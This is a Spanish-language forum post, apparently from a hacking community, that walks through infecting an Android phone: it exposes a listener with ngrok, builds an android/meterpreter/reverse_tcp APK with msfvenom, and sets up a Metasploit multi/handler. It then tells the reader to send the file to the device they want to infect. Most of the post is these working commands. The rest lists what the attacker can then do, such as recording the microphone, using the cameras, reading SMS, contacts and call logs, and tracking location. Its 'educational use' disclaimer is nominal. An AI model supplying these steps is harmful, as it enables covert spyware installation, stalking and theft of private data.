Buenas noches noders,
Me ha costado algo de trabajo pero aqui les traigo una guia de como obtener acceso a un dispositivo Android de una manera parcial, espero que les guste. LO ESTOY EXPLICANDO COMO USO EDUCATIVO
QUE SE NECESITA:
-> Una maquina virtual con Kali ( vamos a usar Metasploit) o en mi casa un sistema kali en mi ordenador
-> Un telefono con Android, en mi caso voy a usar un OPPO A94 5G
Antes de empezar me gustaria dar un consejo, si no te manejas mucho con el sistema Kali en una maquina virtual te recomiendo que te instales una version live en un pen para que te sea mas facil, pero si eres un experimentado ni le eches cuenta.
Bueno empezos con la materia:
-> El primer paso: nos intalaremos ngrok para levantar un localhost, yo he usado esta manera y me ha funciona, habra muchas pero recomiendo esta
Una vez tengamos descargado ngrok y lo tengamos extraido donde queramos ( yo en el escritorio ), abriremos un terminal y ejecutaremos el siguiente comando:
./ngrok http 1234
Al ejercutarlo nos saldra lo siguiente
Se me olvida decir que si teneis cuenta en ngrok (es gratis ratas registrarse) el localhost tiene un tiempo indefinido mientras que si no nos registramos no lo tendra. Para añadir nuestro token de ngrok introduciremos este comando:
./ngrok config add-authtoken TOKENID
-> Segundo paso, saber que dirección ip vamos a emplear. Para ellos abriremos el terminal y pondremos el comando:
ifconfig
Vamos a usar la Ip que nos muestra el wlan0
Datos importantes:
LHOST: 192.168.0.19
LPORT: 1234
-> Tercer paso: creación del archivo, para ello vamos a usar MSFVENOM desde un terminal
msfvenom -p android/meterpreter/reverse_tcp LHOST=IP_KALI LPORT=PORT > /home/kali/Desktop/Aplicacion.apk
Nos dara como resultado el siguiente archivo
-> Cuarto paso: Abriremos un terminal y escribiremos los siguientes comandos
msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST IP
set LPORT Puerto
exploit
Ya tenemos todo listo, solo falta enviar el archivo a el dispositivo que queremos infectar y listo
Con el comando help podremos ver las acciones que se pueden realizar, estas son las siguientes:
-> Grabar con el microfono
-> Tomar fotos con ambas camaras
-> Hacer streaming desde la camara seleccionada
-> Verificar el estado del dispositivo
-> Obtener un listado de las llamadas
-> Obtener un listado de los contactos
-> Obtener los SMS
->Obtener ubicacion del dispositivo
->Enviar SMS
Bueno noders esto es todo, espero que os sirva y apoyeis el post, gracias por vuestra atencion. Ahh se me olvidaba si teneis cualquier duda os respondo por aqui
No seais malos kbrnes......
